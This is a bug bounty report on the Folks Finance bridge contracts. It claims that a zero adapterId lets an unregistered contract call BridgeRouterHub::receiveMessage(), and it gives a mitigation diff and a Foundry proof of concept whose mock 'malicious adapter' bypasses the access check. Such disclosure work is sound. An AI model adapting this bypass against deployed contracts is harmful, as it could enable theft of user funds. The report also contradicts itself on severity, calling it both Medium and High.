Boost _ Folks Finance 34029 - [Smart Contract - Medium] Contract fails to mitigate potential critica

Submitted on Sun Aug 04 2024 10:14:52 GMT-0400 (Atlantic Standard Time) by @Obin for Boost | Folks Finance

Report ID: #34029

Report type: Smart Contract

Report severity: Medium

Target: https://testnet.snowtrace.io/address/0xa9491a1f4f058832e5742b76eE3f1F1fD7bb6837

Impacts:

• Contract fails to mitigate a potential Critical situation where anyone will be able to call BridgeRouterHub::receiveMessage() "directly".

Description

Brief/Intro

The BridgeRouter.sol file is the base contract for BridgeRouterHub.sol and BridgerouterSpoke.sol. BridgeRouterHub contains sensitive functions hence its function calls are restricted. Eg: only pre-inputed IBridgeAdapter contracts / interfaces (by the MANAGER_ROLE via addAdapter function)would be able to call BridgeRouterHub::receiveMessage(). This is the protocols intended security architecture. However, a potential issue can arise where anyone (any malicious Smart contract) will be able to call this sensitive funcion BridgeRouterHub::receiveMessage() which is a gateway for many other senitive executions. The smatr contrat is meant to mitigate itself from possibly reaching this state. Unfortunately it doesnt.

Impact Details

A really wide range of impacts.

Note

1. This vulnerbility is not categorized as critical due to protocol MANAGER_ROLE error required to achieve critical impact.

2. That pointed out, its still a huge error for Smart contract to potentially allow this. Hence a High

3. Note that the range of potential attacks to be carrired out via this one bug is numerous as atttacker can take any of the actions define in the enum Action.

Mitigation

+   error adapterIndexMustNotBeZero();
    function addAdapter(uint16 adapterId, IBridgeAdapter adapter) external onlyRole(MANAGER_ROLE) {
        
+       if(adapterId == uint16(0)) revert adapterIndexMustNotBeZero(); //@audit The index for `adapterId` must start from 1 not 0.
        // check if no existing adapter
        if (isAdapterInitialized(adapterId)) revert AdapterInitialized(adapterId); 
        

        // add adapter
        idToAdapter[adapterId] = adapter;
        adapterToId[adapter] = adapterId;
    }

References

Add any relevant links to documentation or code

Proof of concept

Proof of Concept

POC illustration (An overly simplified version of the BridgeRouter used for foundry testing)

Alteration in BridgeRouter.sol (for simplicity)

diff --git a/Diff.sol b/Diff.sol
index a8ea541..862431b 100644
--- a/Diff.sol
+++ b/Diff.sol
@@ -1,33 +1,28 @@
-// SPDX-License-Identifier: BUSL-1.1
-pragma solidity 0.8.23;
+// SPDX-License-Identifier: UNLICENSED
+pragma solidity ^0.8.13;
+import {AccessControlDefaultAdminRules} from "@openzeppelin/contracts/access/extensions/AccessControlDefaultAdminRules.sol";

-import "@openzeppelin/contracts/access/extensions/AccessControlDefaultAdminRules.sol";
-import "./BridgeMessenger.sol";
-import "./interfaces/IBridgeAdapter.sol";
-import "./interfaces/IBridgeRouter.sol";
 import "./libraries/Messages.sol";

-abstract contract BridgeRouter is IBridgeRouter, AccessControlDefaultAdminRules {
-    bytes32 public constant override MANAGER_ROLE = keccak256("MANAGER");
-    bytes32 public constant override MESSAGE_SENDER_ROLE = keccak256("MESSAGE_SENDER");
-
-    event MessageSucceeded(uint16 adapterId, bytes32 indexed messageId);
-    event MessageFailed(uint16 adapterId, bytes32 indexed messageId, bytes reason);
-    event MessageRetrySucceeded(uint16 adapterId, bytes32 indexed messageId);
-    event MessageRetryFailed(uint16 adapterId, bytes32 indexed messageId, bytes reason);
-    event MessageReverseSucceeded(uint16 adapterId, bytes32 indexed messageId);
-    event MessageReverseFailed(uint16 adapterId, bytes32 indexed messageId, bytes reason);
-    event Withdraw(bytes32 userId, address receiver, uint256 amount);
-
-    error NotEnoughFunds(bytes32 user);
-    error FailedToWithdrawFunds(address recipient, uint256 amount);
-    error ChainUnavailable(uint16 folksChainId);
-    error SenderDoesNotMatch(address messager, address caller);
-    error AdapterInitialized(uint16 adapterId);
-    error AdapterNotInitialized(uint16 adapterId);
-    error AdapterUnknown(IBridgeAdapter adapter);
+// an examplary interface
+interface IBridgeAdapter {
+    function dog() external view returns(bool);
+    function cat() external view returns(bool);
+
+}
+
+contract Counter is AccessControlDefaultAdminRules {
+    bytes32 public constant  MANAGER_ROLE = keccak256("MANAGER");
+    bytes32 public constant  MESSAGE_SENDER_ROLE = keccak256("MESSAGE_SENDER");
+
+    error AdapterInitialized(uint);
+    error AdapterNotInitialized(uint);
     error MessageAlreadySeen(bytes32 messageId);
-    error MessageUnknown(bytes32 messageId);
+    error AdapterUnknown(IBridgeAdapter adapter);
+
+    event successfullyBypassedAllrevertChecksAbove();
+
+    uint256 public number = 13; //testing

POC Foundry

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import {Test, console} from "forge-std/Test.sol";
import { IBridgeAdapter,Counter, Messages} from "../src/Counter.sol";


// a MockBridgeAdapter
contract MockBridgeAdapter {
    
    function cat(Messages.MessageReceived memory payload) external  {
        
    }
}

contract MockMaliciousBridgeAdapter is IBridgeAdapter {
    Counter target;
    constructor(address _target) {
        target = Counter(_target);
    }
    function cat(Messages.MessageReceived memory payload) external {
        // calls contract with malicious payload
        target.receiveMessage(payload);

    }
    
}

contract CounterTest is Test {
    Counter public counter;
    address admin = makeAddr("admin");
    //address manager = makeAddr('manager');

    

    function setUp() public {
        //vm.startPrank(admin);
        counter = new Counter(admin);
        // counter.grantRole(counter.MANAGER_ROLE(),manager); // Already set
    }

    
    // anyOne would be able to call `function receiveMessage()`
    function testContractVulnerableDueToAdapterIdZeroIllustration() public {
        vm.startPrank(admin);
        // adds 5 instances of adapter (For instance)
        for(uint i; i < 5; i++){ //change i =1 to break test hence 0 not instantiated
            
            IBridgeAdapter adapter = IBridgeAdapter(address(new MockBridgeAdapter()));
            counter.addAdapter(uint16(i),adapter);
            console.log('addapterInstances',address(adapter));
        }
        assertTrue(counter.isAdapterInitialized(0));
        IBridgeAdapter addapterInstance = counter.getAdapter(0);

        vm.stopPrank();

        //======illustrating any contract can call RouterHub::receiveMessage()

        //instantiating arbitrary malicious contract
        MockMaliciousBridgeAdapter maliciouscontract = new MockMaliciousBridgeAdapter(address(counter));
        //wraps contract with interface
        IBridgeAdapter wrappedMaliciouscontract = IBridgeAdapter(address(maliciouscontract));
        
        //assert not included by `MANAGER_ROLE` via `addAdapter()`
        assertEq(0, counter.adapterToId(wrappedMaliciouscontract));
        Messages.MessageReceived memory arbitraryNum; // not set just illustrating
        
        vm.expectEmit();

        //Emmiting this shows contract was successfully called by malicious contract (not added via `addAdapter()`)
        // @audit Critical
        emit Counter.successfullyBypassedAllrevertChecksAbove();
        maliciouscontract.cat(arbitraryNum);
        console.log('wrappedMaliciouscontract',address(wrappedMaliciouscontract));
        
        
        
    }

    /**
    =========Signatures
    function isAdapterInitialized(uint16 adapterId) public view returns (bool) 
    function getAdapter(uint16 adapterId) public view returns (IBridgeAdapter)
    function addAdapter(uint16 adapterId, IBridgeAdapter adapter) external
     */
}